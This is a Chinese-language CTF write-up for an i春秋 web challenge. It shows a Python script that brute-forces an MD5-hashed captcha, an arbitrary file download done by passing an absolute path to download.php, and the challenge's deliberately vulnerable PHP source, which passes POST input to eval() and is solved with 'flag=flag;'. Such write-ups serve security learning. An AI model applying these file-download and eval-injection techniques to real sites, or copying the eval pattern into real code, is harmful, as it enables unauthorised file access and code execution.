題目在i春秋ctf大本營
頁面給出了驗證碼經過md5加密后前6位的值,依照之前做題的套路,首先肯定是要爆破出驗證碼,這里直接給我寫的爆破代碼
#coding:utf-8 import hashlib strs = '35eb09' def md5(s): return hashlib.md5(str(s).encode('utf-8')).hexdigest() def main(): for i in range(100000,100000000): a = md5(i) if a[0:6] == strs: print(i) exit(0) if __name__ == '__main__': main()
拿到驗證碼后,先拿弱口令嘗試登陸,試了好幾個都不沒成功,轉而測試是否有注入點
測試的時候發現每次輸入驗證碼都會改變,是真的煩,不過看返回頁面存在注入點
重定向后發現三個文件:
打開最后一個a.php,看到提示:flag在根目錄
一開始以為是文件讀取,使用filter協議並沒有成功,嘗試直接訪問flag.php,發現文件存在
再去查看網頁源碼,發現了文件下載的url
嘗試下載flag.php,似乎並不行
一時間沒了思路,去翻翻大佬的wp,看了后才知道../被過濾了,這里可以直接拿絕對路徑來下載
猜測絕對路徑為/var/www/html
所以我們訪問url:http://b25da701b8cd44fb97bd6ceb7c5da1e474fdc7f166034f3a.game.ichunqiu.com/Challenges/file/download.php?f=/var/www/html/Challenges/flag.php
成了成了,打開文件發現源碼:
<?php $f = $_POST['flag']; $f = str_replace(array('`', '$', '*', '#', ':', '\\', '"', "'", '(', ')', '.', '>'), '', $f); if((strlen($f) > 13) || (false !== stripos($f, 'return'))) { die('wowwwwwwwwwwwwwwwwwwwwwwwww'); } try { eval("\$spaceone = $f"); } catch (Exception $e) { return false; } if ($spaceone === 'flag'){ echo file_get_contents("helloctf.php"); } ?>
這里要求我們post一個flag參數,若值為flag就給出helloctf.php的內容,flag在這個文件里沒跑了
直接POSTflag=flag並沒有反應,再去瞜一眼wp,大佬POST的是flag=flag;
最后一定要加上分號.......但我並不清楚其中的原理,有了解的大佬請告知一下
POST完后可以在網頁源碼中看到flag